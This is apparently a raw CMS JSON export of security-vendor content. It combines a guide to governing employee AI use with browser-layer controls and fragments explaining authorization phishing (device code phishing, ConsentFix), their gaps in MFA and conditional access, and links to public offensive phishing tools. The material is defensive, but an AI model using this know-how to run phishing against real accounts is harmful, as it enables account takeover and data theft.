appears every week, and blocking unapproved apps feels like a quick way to stop the bleeding.",[],{},{"nodeType":670,"data":8109,"content":8110},{},[8111,8115,8123],{"nodeType":503,"value":8112,"marks":8113,"data":8114},"Unfortunately, blocking doesn't work for long. The latest security frameworks — including the ",[],{},{"nodeType":795,"data":8116,"content":8118},{"uri":8117},"https:\u002F\u002Fwww.sans.org\u002Fmlp\u002F2026-ai-security-maturity-model-ebook",[8119],{"nodeType":503,"value":8120,"marks":8121,"data":8122},"SANS AI Security Maturity Model",[],{},{"nodeType":503,"value":8124,"marks":8125,"data":8126}," — all agree: Block-based AI policies drive usage underground rather than preventing it. ",[],{},{"nodeType":8128,"data":8129,"content":8130},"blockquote",{},[8131],{"nodeType":670,"data":8132,"content":8133},{},[8134],{"nodeType":503,"value":8135,"marks":8136,"data":8137},"A block-based AI policy may feel like risk management, but practitioner experience shows that it typically drives AI usage underground rather than preventing it. The goal is not to eliminate AI use; it is to bring it into visibility where it can be governed.",[],{},{"nodeType":670,"data":8139,"content":8140},{},[8141],{"nodeType":503,"value":8142,"marks":8143,"data":8144},"These kinds of barricades also fail for a structural reason: They're built on the network perimeter, and AI usage doesn't cross the perimeter in ways network tools can inspect.",[],{},{"nodeType":670,"data":8146,"content":8147},{},[8148],{"nodeType":503,"value":8149,"marks":8150,"data":8151},"The most damaging consequence of blocking isn't the workarounds themselves — it's the loss of visibility. To begin building a better path for employees, you have to start with seeing what's actually happening.",[],{},{"nodeType":730,"data":8153,"content":8154},{},[],{"nodeType":660,"data":8156,"content":8157},{},[8158],{"nodeType":503,"value":8159,"marks":8160,"data":8162},"Using Push to discover, govern, and control shadow AI",[8161],{"type":667},{},{"nodeType":670,"data":8164,"content":8165},{},[8166],{"nodeType":503,"value":8167,"marks":8168,"data":8169},"Push Security is a browser security platform that gets you the vantage point you need to start addressing shadow AI. Push deploys as a lightweight extension to employees' existing browsers rather than requiring a full browser migration, giving security teams visibility into browser-layer activity that network and endpoint tools structurally lack.",[],{},{"nodeType":670,"data":8171,"content":8172},{},[8173,8177,8182,8185,8190],{"nodeType":503,"value":8174,"marks":8175,"data":8176},"Push discovers AI tools through ",[],{},{"nodeType":503,"value":8178,"marks":8179,"data":8181},"automatic",[8180],{"type":667},{},{"nodeType":503,"value":1478,"marks":8183,"data":8184},[],{},{"nodeType":503,"value":8186,"marks":8187,"data":8189},"app discovery",[8188],{"type":667},{},{"nodeType":503,"value":8191,"marks":8192,"data":8193},", allowing you to identify applications from actual browser login events rather than network traffic logs. ",[],{},{"nodeType":714,"data":8195,"content":8199},{"target":8196},{"sys":8197},{"id":8198,"type":719,"linkType":720},"4eTkgU2dxhMueHPiwuCWDl",[],{"nodeType":670,"data":8201,"content":8202},{},[8203],{"nodeType":503,"value":8204,"marks":8205,"data":8206},"When an employee signs into a new AI service, Push registers the authentication event, identifies the application, and logs how the employee authenticated — corporate SSO, OIDC, a standalone password, or a personal account. ",[],{},{"nodeType":670,"data":8208,"content":8209},{},[8210,8214,8219],{"nodeType":503,"value":8211,"marks":8212,"data":8213},"Push then applies ",[],{},{"nodeType":503,"value":8215,"marks":8216,"data":8218},"app categories ",[8217],{"type":667},{},{"nodeType":503,"value":8220,"marks":8221,"data":8222},"automatically, classifying the discovered application by type without requiring security teams to build or maintain manual lists.",[],{},{"nodeType":670,"data":8224,"content":8225},{},[8226,8230,8235],{"nodeType":503,"value":8227,"marks":8228,"data":8229},"Push extends the same discovery across the other three shadow AI dimensions. The platform’s ",[],{},{"nodeType":503,"value":8231,"marks":8232,"data":8234},"browser extension discovery ",[8233],{"type":667},{},{"nodeType":503,"value":8236,"marks":8237,"data":8238},"capability catalogs every AI-related extension installed across the workforce, including the specific permissions each extension has requested (access to page content, browsing history, clipboard data), allowing you to review whether those permission combinations could enable data exfiltration or account takeover. ",[],{},{"nodeType":714,"data":8240,"content":8244},{"target":8241},{"sys":8242},{"id":8243,"type":719,"linkType":720},"1z56sTWWN9E35dE3HhbRNY",[],{"nodeType":670,"data":8246,"content":8247},{},[8248,8252,8257],{"nodeType":503,"value":8249,"marks":8250,"data":8251},"Push’s ",[],{},{"nodeType":503,"value":8253,"marks":8254,"data":8256},"OAuth integration discovery",[8255],{"type":667},{},{"nodeType":503,"value":8258,"marks":8259,"data":8260}," identifies OAuth connections between AI tools and corporate systems — the grants that create persistent API-level access to platforms like Google Workspace.",[],{},{"nodeType":670,"data":8262,"content":8263},{},[8264,8268,8273],{"nodeType":503,"value":8265,"marks":8266,"data":8267},"For each discovered tool, Push also captures authentication context that points to ",[],{},{"nodeType":503,"value":8269,"marks":8270,"data":8272},"where hidden security risks lie",[8271],{"type":667},{},{"nodeType":503,"value":8274,"marks":8275,"data":8276},": SSO vs. password vs. personal account, MFA status, and password strength. An AI tool accessed via corporate SSO with MFA is a different risk than the same tool accessed through a personal Gmail account with a reused password. Similarly, employees using only a password to access AI tools that they’ve integrated with other sensitive corporate systems introduces another level of downstream risk. That context is what makes the inventory actionable.",[],{},{"nodeType":670,"data":8278,"content":8279},{},[8280],{"nodeType":503,"value":8281,"marks":8282,"data":8283},"Push also detects when employees are adopting agentic browsers — autonomous AI-powered browsers like Comet, Atlas, and Dia that browse the web and interact with applications on behalf of users or automated workflows. ",[],{},{"nodeType":670,"data":8285,"content":8286},{},[8287],{"nodeType":503,"value":8288,"marks":8289,"data":8290},"These represent an emerging category of non-human AI identity. They authenticate to SaaS applications, access corporate data, and make API calls, but they aren't managed through traditional identity infrastructure. Push helps you identify these agentic browsers as they appear in the environment, before they become a blind spot.",[],{},{"nodeType":670,"data":8292,"content":8293},{},[8294],{"nodeType":503,"value":8295,"marks":8296,"data":8297},"Returning to the paved path metaphor, this step is about surveying the site before you figure out where to put in the path. You need to understand who’s already doing what, where, so you can find the risks you need to address.",[],{},{"nodeType":714,"data":8299,"content":8303},{"target":8300},{"sys":8301},{"id":8302,"type":719,"linkType":720},"5iXyJbxwWiUt7WoP7FF0Y2",[],{"nodeType":730,"data":8305,"content":8306},{},[],{"nodeType":660,"data":8308,"content":8309},{},[8310],{"nodeType":503,"value":8311,"marks":8312,"data":8314},"Step-by-step guide to enforcing AI governance without blocking everything",[8313],{"type":667},{},{"nodeType":670,"data":8316,"content":8317},{},[8318],{"nodeType":503,"value":8319,"marks":8320,"data":8321},"The barricade approach favored by existing solutions like network proxies gives you two options: Allow or block. Enforcing AI policy effectively requires a third approach with a bit more nuance: Guide the user to do the right thing. ",[],{},{"nodeType":734,"data":8323,"content":8324},{},[8325],{"nodeType":503,"value":8326,"marks":8327,"data":8328},"Building the \"paved path\" with Push",[],{},{"nodeType":670,"data":8330,"content":8331},{},[8332],{"nodeType":503,"value":8333,"marks":8334,"data":8335},"Push provides all three options as configurable enforcement modes for a variety of readymade controls. Progressing between them is how organizations can move from \"we don't know what people are doing with AI\" to evidence-based governance.",[],{},{"nodeType":670,"data":8337,"content":8338},{},[8339,8343,8348],{"nodeType":503,"value":8340,"marks":8341,"data":8342},"Push can be deployed silently and begin observing AI usage with no employee-facing intervention. This is effectively Push in ",[],{},{"nodeType":503,"value":8344,"marks":8345,"data":8347},"Monitor",[8346],{"type":667},{},{"nodeType":503,"value":8349,"marks":8350,"data":8351}," mode.",[],{},{"nodeType":670,"data":8353,"content":8354},{},[8355],{"nodeType":503,"value":8356,"marks":8357,"data":8358},"The platform records which tools are in use, how employees authenticated, and what usage patterns are emerging. Most organizations should start here to generate a baseline. Telemetry can be streamed to your SIEM or other downstream system to get alerted to newly adopted apps and extensions, and to surface security risks like insecure accounts.",[],{},{"nodeType":670,"data":8360,"content":8361},{},[8362,8366,8371,8375,8380],{"nodeType":503,"value":8363,"marks":8364,"data":8365},"Next, most organizations will transition to ",[],{},{"nodeType":503,"value":8367,"marks":8368,"data":8370},"Acknowledge",[8369],{"type":667},{},{"nodeType":503,"value":8372,"marks":8373,"data":8374}," mode for controls like in-browser ",[],{},{"nodeType":503,"value":8376,"marks":8377,"data":8379},"App banners",[8378],{"type":667},{},{"nodeType":503,"value":8381,"marks":8382,"data":8383},". With this control, you can warn employees when they attempt to use an unapproved AI tool and point them to approved alternatives.",[],{},{"nodeType":714,"data":8385,"content":8389},{"target":8386},{"sys":8387},{"id":8388,"type":719,"linkType":720},"17nT8JDTyHLExwhb2upb6T",[],{"nodeType":670,"data":8391,"content":8392},{},[8393],{"nodeType":503,"value":8394,"marks":8395,"data":8396},"The employee isn't blocked — they're guided toward the governed path at the moment they're about to step off it. This is more effective than a policy document because it arrives right when they need the reminder. ",[],{},{"nodeType":714,"data":8398,"content":8402},{"target":8399},{"sys":8400},{"id":8401,"type":719,"linkType":720},"2lDFCuc48jcGODcwD6nYhK",[],{"nodeType":670,"data":8404,"content":8405},{},[8406,8411],{"nodeType":503,"value":8407,"marks":8408,"data":8410},"Block",[8409],{"type":667},{},{"nodeType":503,"value":8412,"marks":8413,"data":8414}," mode prevents access entirely — Push presents a blocking banner to users who attempt to log in to unapproved apps. ",[],{},{"nodeType":670,"data":8416,"content":8417},{},[8418],{"nodeType":503,"value":8419,"marks":8420,"data":8421},"Push makes the Monitor → Acknowledge → Block progression practical through automatic app categorization. This means that new AI tools inherit whatever governance mode the team has set for that category, without manual blocklist updates. All controls are configurable per user group — the data science team can use AI coding assistants while uploads from finance are restricted — because different teams have different risk profiles.",[],{},{"nodeType":714,"data":8423,"content":8427},{"target":8424},{"sys":8425},{"id":8426,"type":719,"linkType":720},"5EBOHy6X6iJfmzJ65txGOv",[],{"nodeType":714,"data":8429,"content":8433},{"target":8430},{"sys":8431},{"id":8432,"type":719,"linkType":720},"31JnX2KNCAnlaVS9Qqqh8W",[],{"nodeType":730,"data":8435,"content":8436},{},[],{"nodeType":660,"data":8438,"content":8439},{},[8440],{"nodeType":503,"value":8441,"marks":8442,"data":8444},"Guardrails: how to prevent data loss to AI tools",[8443],{"type":667},{},{"nodeType":670,"data":8446,"content":8447},{},[8448],{"nodeType":503,"value":8449,"marks":8450,"data":8451},"Even on the paved path, you need guardrails because preventing data loss to AI tools is a separate problem from controlling which tools employees use. An employee on an approved AI tool can still paste an AWS access key into a prompt, upload a customer spreadsheet, or share confidential documents in a conversation. Or they can access an approved AI tool but using a personal account, landing in a different tenant and effectively bypassing enterprise agreements that govern safe data sharing or model training.",[],{},{"nodeType":670,"data":8453,"content":8454},{},[8455,8458,8466],{"nodeType":503,"value":21,"marks":8456,"data":8457},[],{},{"nodeType":795,"data":8459,"content":8460},{"uri":7925},[8461],{"nodeType":503,"value":8462,"marks":8463,"data":8465},"Okta's data",[8464],{"type":803},{},{"nodeType":503,"value":8467,"marks":8468,"data":8469}," on what employees actually share shows what’s at stake: 54% share internal messages and emails with AI tools, 39% share confidential company documents, and 28% share banking and payment information.",[],{},{"nodeType":670,"data":8471,"content":8472},{},[8473],{"nodeType":503,"value":8474,"marks":8475,"data":8476},"Blocking is too much of a blunt instrument here, as obviously, you want employees to be able to use approved tools. The answer is controlling what data enters them.",[],{},{"nodeType":734,"data":8478,"content":8479},{},[8480],{"nodeType":503,"value":8481,"marks":8482,"data":8484},"Browser-layer controls for AI data leakage",[8483],{"type":667},{},{"nodeType":670,"data":8486,"content":8487},{},[8488],{"nodeType":503,"value":8489,"marks":8490,"data":8491},"Push addresses this problem with five browser-layer data controls, each targeting a distinct exfiltration path and supporting the same Monitor → Warn → Block enforcement modes:",[],{},{"nodeType":670,"data":8493,"content":8494},{},[8495,8500],{"nodeType":503,"value":8496,"marks":8497,"data":8499},"Clipboard blocking",[8498],{"type":667},{},{"nodeType":503,"value":8501,"marks":8502,"data":8503}," addresses the most common path for sensitive data into AI tools: copy-paste. Push matches clipboard content against preconfigured patterns for AWS access keys, GitHub tokens, API keys, credit card numbers, and personal identifiers, plus custom content rules for organization-specific data like internal project codes. ",[],{},{"nodeType":670,"data":8505,"content":8506},{},[8507,8511,8516],{"nodeType":503,"value":8508,"marks":8509,"data":8510},"In ",[],{},{"nodeType":503,"value":8512,"marks":8513,"data":8515},"Warn",[8514],{"type":667},{},{"nodeType":503,"value":8517,"marks":8518,"data":8519}," mode, Push offers a redacted version of the sensitive data so the employee can continue their work — getting help with their code, for instance — without exposing the actual credential.",[],{},{"nodeType":714,"data":8521,"content":8525},{"target":8522},{"sys":8523},{"id":8524,"type":719,"linkType":720},"1JarUdbe8AkJlgB0LjchNR",[],{"nodeType":670,"data":8527,"content":8528},{},[8529,8534],{"nodeType":503,"value":8530,"marks":8531,"data":8533},"File upload blocking",[8532],{"type":667},{},{"nodeType":503,"value":8535,"marks":8536,"data":8537}," prevents files from being uploaded to specific AI apps, configurable by app, user group, and file type (Push provides a list for fast configuration).",[],{},{"nodeType":670,"data":8539,"content":8540},{},[8541,8546,8550,8558,8562,8566],{"nodeType":503,"value":8542,"marks":8543,"data":8545},"File download blocking",[8544],{"type":667},{},{"nodeType":503,"value":8547,"marks":8548,"data":8549}," addresses a different common risk: Employees downloading desktop versions of AI tools, which moves usage outside the browser where Push has visibility. Download blocking also covers files generated inside web applications, such as an AI tool that produces a downloadable asset. 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this blog post, we’ll talk about the different authorization attacks used by attackers in the wild and what this means for security teams looking to detect and block these attacks.",[],{},"Authorization phishing IB2",{"sys":9452,"__typename":1934,"content":9453,"name":9476,"title":60},{"id":7356},{"json":9454},{"data":9455,"content":9456,"nodeType":656},{},[9457],{"data":9458,"content":9459,"nodeType":670},{},[9460,9464,9472],{"data":9461,"marks":9462,"value":9463,"nodeType":503},{},[],"Three techniques currently fall under the authorization phishing umbrella. Most of them are exactly new, either — Push cataloged consent phishing and device code phishing in the ",{"data":9465,"content":9467,"nodeType":795},{"uri":9466},"https:\u002F\u002Fpushsecurity.com\u002Fresources\u002Fbrowser-identity-attacks-matrix",[9468],{"data":9469,"marks":9470,"value":9471,"nodeType":503},{},[],"Browser & Identity Attacks Matrix",{"data":9473,"marks":9474,"value":9475,"nodeType":503},{},[]," back in 2023. What's changed in 2026 is that they've moved from isolated, targeted operations to widespread adoption across the phishing-as-a-service ecosystem.","Authorization phishing IB1",{"sys":9478,"__typename":1934,"content":9479,"name":9490,"title":60},{"id":7400},{"json":9480},{"nodeType":656,"data":9481,"content":9482},{},[9483],{"nodeType":670,"data":9484,"content":9485},{},[9486],{"nodeType":503,"value":9487,"marks":9488,"data":9489},"And even if you can get in, once a malicious app is flagged, it's burned — and unlike domains and IP addresses, it's not easy to rotate. The vendor can ban the app, ban the entire tenant associated with it, and block the attacker's registration infrastructure. Setting up new apps at scale requires new verified tenants, which makes the economics of consent phishing significantly worse than other techniques. These controls are the main reason we don't see it much in the wild anymore.",[],{},"Authorization phishing IB3",{"sys":9492,"__typename":480,"title":9493,"arcadeDemoUrl":9494,"playText":2054},{"id":7447},"Device code phishing: In the wild examples","https:\u002F\u002Fdemo.arcade.software\u002FFx5XuPm0JCceQRgAvH9C?embed",{"sys":9496,"__typename":1926,"title":9497,"caption":9497,"layoutMode":60,"file":9498},{"id":7635},"Native client warning displayed for ConsentFix attacks requesting certain scope and app combinations. ",{"url":9499,"width":9500,"height":9501},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002F3bV6Kt6BQqseSGPRmNeqYT\u002Fe93466e14eeb45fb9d07fa135d6b80e4\u002Fnativeclient_warning.png",1278,987,{"sys":9503,"__typename":480,"title":9504,"arcadeDemoUrl":9505,"playText":2054},{"id":7688},"Device Code Phishing Demo: GitHub","https:\u002F\u002Fdemo.arcade.software\u002F8WVq7zlbQYahwpDLs6ly?embed",{"sys":9507,"__typename":1926,"title":9508,"caption":9508,"layoutMode":60,"file":9509},{"id":7753},"\"Invite accepted\" confirmation page for the poisoned OpenAI tenant.",{"url":9510,"width":1930,"height":9511},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002F38N7FnCMSQz519ZXQfpXo4\u002Ff848d30b238b943a47efa29d12b68b87\u002Fimage5.png",1031,{"items":9513},[9514,9527,9540,9553,9566,9579,9592,9626,9660],{"answer":9515,"question":9526},{"json":9516},{"nodeType":656,"data":9517,"content":9518},{},[9519],{"nodeType":670,"data":9520,"content":9521},{},[9522],{"nodeType":503,"value":9523,"marks":9524,"data":9525},"Authorization phishing is a category of phishing attacks that target OAuth authorization flows rather than the authentication (login) process. Instead of stealing credentials or session tokens, authorization phishing tricks users into granting attacker-controlled applications access to their accounts through legitimate OAuth consent prompts or device code flows. The user authenticates normally — on the real identity provider, with their real credentials and MFA — and the attack exploits the authorization decision that follows.",[],{},"What is authorization phishing?",{"answer":9528,"question":9539},{"json":9529},{"nodeType":656,"data":9530,"content":9531},{},[9532],{"nodeType":670,"data":9533,"content":9534},{},[9535],{"nodeType":503,"value":9536,"marks":9537,"data":9538},"Authentication phishing attacks the login — the moment a user proves their identity. Techniques like AiTM (adversary-in-the-middle) phishing use reverse-proxy kits to intercept credentials and session tokens during the authentication flow. Authorization phishing attacks what happens after the login. The user authenticates legitimately, and the attacker abuses OAuth mechanisms (consent grants, device code flows, token exchanges) to obtain access tokens. The key difference: authentication phishing defeats MFA by proxying the login and intercepting the session token, while authorization phishing makes MFA irrelevant because the authentication succeeds normally.",[],{},"What's the difference between authentication phishing and authorization phishing?",{"answer":9541,"question":9552},{"json":9542},{"nodeType":656,"data":9543,"content":9544},{},[9545],{"nodeType":670,"data":9546,"content":9547},{},[9548],{"nodeType":503,"value":9549,"marks":9550,"data":9551},"No. All forms of MFA — including passkeys, FIDO2 keys, authenticator apps, and SMS codes — protect the authentication flow. Authorization phishing targets the authorization layer, which operates after authentication has already succeeded. The user completes MFA normally, and the attack exploits the subsequent OAuth consent or device code flow. Passkeys remain the strongest defense against authentication phishing (AiTM, credential theft), but they don't address authorization-layer attacks.",[],{},"Can MFA and passkeys stop authorization phishing?",{"answer":9554,"question":9565},{"json":9555},{"nodeType":656,"data":9556,"content":9557},{},[9558],{"nodeType":670,"data":9559,"content":9560},{},[9561],{"nodeType":503,"value":9562,"marks":9563,"data":9564},"Some conditional access policies can block device code phishing, but effectiveness is highly configuration-dependent. \"Block device code flow\" is effective but also blocks legitimate use cases. \"Require compliant device\" blocks device code phishing because the flow can't present device compliance proofs, but doesn't stop ConsentFix. \"Token protection\" (currently in preview) has limited applicability. \"Require phishing-resistant authentication\" is not applicable because the authentication in device code phishing is already legitimate. The gap between a default conditional access deployment and a hardened one is significant.",[],{},"Can conditional access policies stop device code phishing?",{"answer":9567,"question":9578},{"json":9568},{"nodeType":656,"data":9569,"content":9570},{},[9571],{"nodeType":670,"data":9572,"content":9573},{},[9574],{"nodeType":503,"value":9575,"marks":9576,"data":9577},"ConsentFix is harder to block with conditional access because it uses the standard authorization code grant flow rather than the device code flow. \"Block device code flow\" doesn't apply. \"Require compliant device\" doesn't stop ConsentFix. \"Token protection\" mitigates some ConsentFix scenarios depending on scopes requested, but it's in preview and limited in scope. Microsoft appears to be reducing the ConsentFix attack surface by locking down apps and reply URLs, but there is currently no single conditional access policy that reliably blocks all ConsentFix variants.",[],{},"Can conditional access policies stop ConsentFix?",{"answer":9580,"question":9591},{"json":9581},{"nodeType":656,"data":9582,"content":9583},{},[9584],{"nodeType":670,"data":9585,"content":9586},{},[9587],{"nodeType":503,"value":9588,"marks":9589,"data":9590},"Authorization phishing detection requires visibility at the browser layer, where the OAuth consent and device code flows actually execute. This includes monitoring device code authorization pages for suspicious activity, capturing OAuth consent flows (client ID, scopes requested, authorization server, outcome), and detecting browser-native attacks like ConsentFix that combine clipboard injection with OAuth abuse. Network-layer and endpoint-layer tools don't have visibility into these browser-rendered authorization flows.",[],{},"How do you detect authorization phishing?",{"answer":9593,"question":9625},{"json":9594},{"nodeType":656,"data":9595,"content":9596},{},[9597,9604,9611,9618],{"nodeType":670,"data":9598,"content":9599},{},[9600],{"nodeType":503,"value":9601,"marks":9602,"data":9603},"No. Email gateways won't catch it — a device code phishing lure asks the user to visit a legitimate URL (like microsoft.com\u002Fdevicelogin) and enter a code. There's no malicious link, no credential-harvesting page, and no suspicious attachment for the gateway to flag. The pages and infrastructure used as part of these campaigns are frequently rotated to evade blocklists. ",[],{},{"nodeType":670,"data":9605,"content":9606},{},[9607],{"nodeType":503,"value":9608,"marks":9609,"data":9610},"SWGs inspect network traffic and enforce access policies, but the authorization flow happens on the real identity provider's domain over a legitimate connection — indistinguishable from a normal sign-in. ",[],{},{"nodeType":670,"data":9612,"content":9613},{},[9614],{"nodeType":503,"value":9615,"marks":9616,"data":9617},"EDR won't see it either, because the entire attack plays out in the browser via standard web requests — no malicious payload touches the filesystem or triggers OS-level detection. These tools are built to detect authentication phishing — malicious URLs, cloned login pages, known-bad infrastructure — and authorization phishing doesn't produce any of those artifacts. ",[],{},{"nodeType":670,"data":9619,"content":9620},{},[9621],{"nodeType":503,"value":9622,"marks":9623,"data":9624},"Browser-layer detection closes the gap, because it has visibility into the authorization flow itself, tab metadata, and page context that makes bad activity identifiable from normal behavior.",[],{},"Can I detect authorization attacks with my email gateway, SWG, or EDR?",{"answer":9627,"question":9659},{"json":9628},{"nodeType":656,"data":9629,"content":9630},{},[9631,9638,9645,9652],{"nodeType":670,"data":9632,"content":9633},{},[9634],{"nodeType":503,"value":9635,"marks":9636,"data":9637},"Yes, in Microsoft environments. Entra ID conditional access includes a \"block device code flow\" policy that prevents device code authorizations outright, and Microsoft now recommends enabling it for any tenant that hasn't used the flow in the past 25 days. ",[],{},{"nodeType":670,"data":9639,"content":9640},{},[9641],{"nodeType":503,"value":9642,"marks":9643,"data":9644},"The main operational cost is that Azure CLI, developer tooling, and conference room hardware often depend on device code flow, so developer-heavy organizations may need exclusions that increase susceptibility to this technique. ",[],{},{"nodeType":670,"data":9646,"content":9647},{},[9648],{"nodeType":503,"value":9649,"marks":9650,"data":9651},"\"Require compliant device\" also blocks device code phishing indirectly, since the flow can't present the TPM-bound proof that compliance requires. Two important caveats: blocking device code flow doesn't block ConsentFix or other authorization code grant attacks, so it's a partial solution to the broader authorization phishing category. ",[],{},{"nodeType":670,"data":9653,"content":9654},{},[9655],{"nodeType":503,"value":9656,"marks":9657,"data":9658},"Outside Microsoft, options are more limited — Google mitigates the risk by restricting which scopes are available through device code, but GitHub and other platforms that support the flow don't offer equivalent blocking controls, leaving you reliant on monitoring and detection rather than prevention.",[],{},"Can you block device code phishing?",{"answer":9661,"question":9700},{"json":9662},{"nodeType":656,"data":9663,"content":9664},{},[9665,9672,9679,9686,9693],{"nodeType":670,"data":9666,"content":9667},{},[9668],{"nodeType":503,"value":9669,"marks":9670,"data":9671},"The attack isn't Microsoft-exclusive, but the exposure varies across different platforms. Microsoft has the broadest exposure because of unrestricted scopes, reusable first-party client IDs, and FOCI token exchange. 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But it’s taken until now for it to really enter mainstream adoption. ",{"data":10818,"content":10819,"nodeType":670},{},[10820],{"data":10821,"marks":10822,"value":10823,"nodeType":503},{},[],"The technique tricks a user into issuing access tokens for an attacker-controlled application (not a device, confusingly). Any app that supports device code logins can be a target. Popular examples include Microsoft, Google, Salesforce, GitHub, and AWS. That said, Microsoft is, as always, much more heavily targeted at scale now than any other app.",{"data":10825,"content":10829,"nodeType":714},{"target":10826},{"sys":10827},{"id":10828,"type":719,"linkType":720},"Al0pGH8vmOYiufDFiAbt0",[],{"data":10831,"content":10832,"nodeType":670},{},[10833],{"data":10834,"marks":10835,"value":10836,"nodeType":503},{},[],"We’ve always been surprised that attackers haven’t commonly used device code phishing in their standard toolkit, preferring session-stealing AITM phishing and other social engineering attacks like ClickFix. But it’s pretty clear from the recent data that the shift to mainstream adoption has now happened. ",{"data":10838,"content":10839,"nodeType":670},{},[10840],{"data":10841,"marks":10842,"value":10843,"nodeType":503},{},[],"In this blog post, we’ll explore the history of device code phishing, what’s changed for it to enter mainstream adoption, how it works under the hood (with recent examples), and what security teams can do about it. ",{"data":10845,"content":10846,"nodeType":730},{},[],{"data":10848,"content":10849,"nodeType":660},{},[10850],{"data":10851,"marks":10852,"value":10854,"nodeType":503},{},[10853],{"type":667},"A brief history of device code phishing",{"data":10856,"content":10860,"nodeType":714},{"target":10857},{"sys":10858},{"id":10859,"type":719,"linkType":720},"6u3DgvSGChtTJu7l9I7PG1",[],{"data":10862,"content":10863,"nodeType":670},{},[10864,10868,10877,10881,10890,10894,10903,10907,10916,10920,10929,10932,10941],{"data":10865,"marks":10866,"value":10867,"nodeType":503},{},[],"The technique was first documented in 2020, before Secureworks released the first tooling framework ",{"data":10869,"content":10871,"nodeType":795},{"uri":10870},"https:\u002F\u002Fgithub.com\u002Fsecureworks\u002FPhishInSuits",[10872],{"data":10873,"marks":10874,"value":10876,"nodeType":503},{},[10875],{"type":803},"PhishInSuits",{"data":10878,"marks":10879,"value":10880,"nodeType":503},{},[]," a year later. A host of research followed, including ",{"data":10882,"content":10884,"nodeType":795},{"uri":10883},"https:\u002F\u002Fgithub.com\u002Fsecureworks\u002Fsquarephish",[10885],{"data":10886,"marks":10887,"value":10889,"nodeType":503},{},[10888],{"type":803},"SquarePhish",{"data":10891,"marks":10892,"value":10893,"nodeType":503},{},[]," v1 (using QR codes to trigger the 15 minute code expiration window), Dirk-Jan Mollema’s ",{"data":10895,"content":10897,"nodeType":795},{"uri":10896},"https:\u002F\u002Fdirkjanm.io\u002Fphishing-for-microsoft-entra-primary-refresh-tokens\u002F",[10898],{"data":10899,"marks":10900,"value":10902,"nodeType":503},{},[10901],{"type":803},"key research",{"data":10904,"marks":10905,"value":10906,"nodeType":503},{},[]," (chaining device code phishing via Microsoft apps into Primary Refresh Token (PRT) acquisition to gain full browser-level access) and Dennis Kniep’s ",{"data":10908,"content":10910,"nodeType":795},{"uri":10909},"https:\u002F\u002Fgithub.com\u002Fdenniskniep\u002FDeviceCodePhishing",[10911],{"data":10912,"marks":10913,"value":10915,"nodeType":503},{},[10914],{"type":803},"DeviceCodePhishing tool",{"data":10917,"marks":10918,"value":10919,"nodeType":503},{},[]," which automates the entire flow with a headless browser. (Other recent noteworthy tools include ",{"data":10921,"content":10923,"nodeType":795},{"uri":10922},"https:\u002F\u002Fgithub.com\u002Fnromsdahl\u002Fsquarephish2",[10924],{"data":10925,"marks":10926,"value":10928,"nodeType":503},{},[10927],{"type":803},"SquarePhish2",{"data":10930,"marks":10931,"value":4645,"nodeType":503},{},[],{"data":10933,"content":10935,"nodeType":795},{"uri":10934},"https:\u002F\u002Fgithub.com\u002Fpraetorian-inc\u002FGitPhish",[10936],{"data":10937,"marks":10938,"value":10940,"nodeType":503},{},[10939],{"type":803},"GitPhish",{"data":10942,"marks":10943,"value":10944,"nodeType":503},{},[],", so shout out to those too). ",{"data":10946,"content":10947,"nodeType":670},{},[10948,10952,10960],{"data":10949,"marks":10950,"value":10951,"nodeType":503},{},[],"It wasn’t until August 2024 that in-the-wild exploitation was first identified, with Russia-linked campaigns then continuing into 2025 before entering mainstream criminal adoption. This trend has continued to gather momentum in 2026 with ",{"data":10953,"content":10955,"nodeType":795},{"uri":10954},"https:\u002F\u002Fthehackernews.com\u002F2026\u002F03\u002Fdevice-code-phishing-hits-340-microsoft.html",[10956],{"data":10957,"marks":10958,"value":3439,"nodeType":503},{},[10959],{"type":803},{"data":10961,"marks":10962,"value":10963,"nodeType":503},{},[],", the first reported criminal PhaaS kit for device code phishing, already powering massive campaigns after launching in February. ",{"data":10965,"content":10969,"nodeType":714},{"target":10966},{"sys":10967},{"id":10968,"type":719,"linkType":720},"6xsfmbYEzpW7CdDiNzO6cu",[],{"data":10971,"content":10972,"nodeType":670},{},[10973],{"data":10974,"marks":10975,"value":10976,"nodeType":503},{},[],"Some of the noteworthy in-the-wild campaigns include:",{"data":10978,"content":10979,"nodeType":781},{},[10980,11012,11033],{"data":10981,"content":10982,"nodeType":785},{},[10983],{"data":10984,"content":10985,"nodeType":670},{},[10986,10990,10997,11000,11008],{"data":10987,"marks":10988,"value":10989,"nodeType":503},{},[],"Storm-2372, tracked by ",{"data":10991,"content":10992,"nodeType":795},{"uri":3422},[10993],{"data":10994,"marks":10995,"value":10996,"nodeType":503},{},[],"Microsoft",{"data":10998,"marks":10999,"value":4645,"nodeType":503},{},[],{"data":11001,"content":11003,"nodeType":795},{"uri":11002},"https:\u002F\u002Fwww.volexity.com\u002Fblog\u002F2025\u002F02\u002F13\u002Fmultiple-russian-threat-actors-targeting-microsoft-device-code-authentication\u002F",[11004],{"data":11005,"marks":11006,"value":11007,"nodeType":503},{},[],"Volexity",{"data":11009,"marks":11010,"value":11011,"nodeType":503},{},[],", linked to multiple Russia-aligned clusters, combining spear-phishing and social engineering with device code phishing payloads against strategic intelligence targets.",{"data":11013,"content":11014,"nodeType":785},{},[11015],{"data":11016,"content":11017,"nodeType":670},{},[11018,11022,11029],{"data":11019,"marks":11020,"value":11021,"nodeType":503},{},[],"The massive Salesforce campaign operated by ",{"data":11023,"content":11025,"nodeType":795},{"uri":11024},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fscattered-lapsus-hunters\u002F",[11026],{"data":11027,"marks":11028,"value":3053,"nodeType":503},{},[],{"data":11030,"marks":11031,"value":11032,"nodeType":503},{},[]," (SLH) combined vishing with a device code phishing payload targeting Salesforce. The attacks morphed into a broader supply chain campaign using stolen credentials, ultimately resulting in 1000+ organizations being compromised and over 1.5 billion stolen records claimed. ",{"data":11034,"content":11035,"nodeType":785},{},[11036],{"data":11037,"content":11038,"nodeType":670},{},[11039,11043,11051,11055,11064,11068,11077,11081,11089],{"data":11040,"marks":11041,"value":11042,"nodeType":503},{},[],"A massive spike in activity in late 2025 and 2026. This includes ",{"data":11044,"content":11046,"nodeType":795},{"uri":11045},"https:\u002F\u002Fwww.proofpoint.com\u002Fus\u002Fblog\u002Fthreat-insight\u002Faccess-granted-phishing-device-code-authorization-account-takeover",[11047],{"data":11048,"marks":11049,"value":11050,"nodeType":503},{},[],"multiple threat 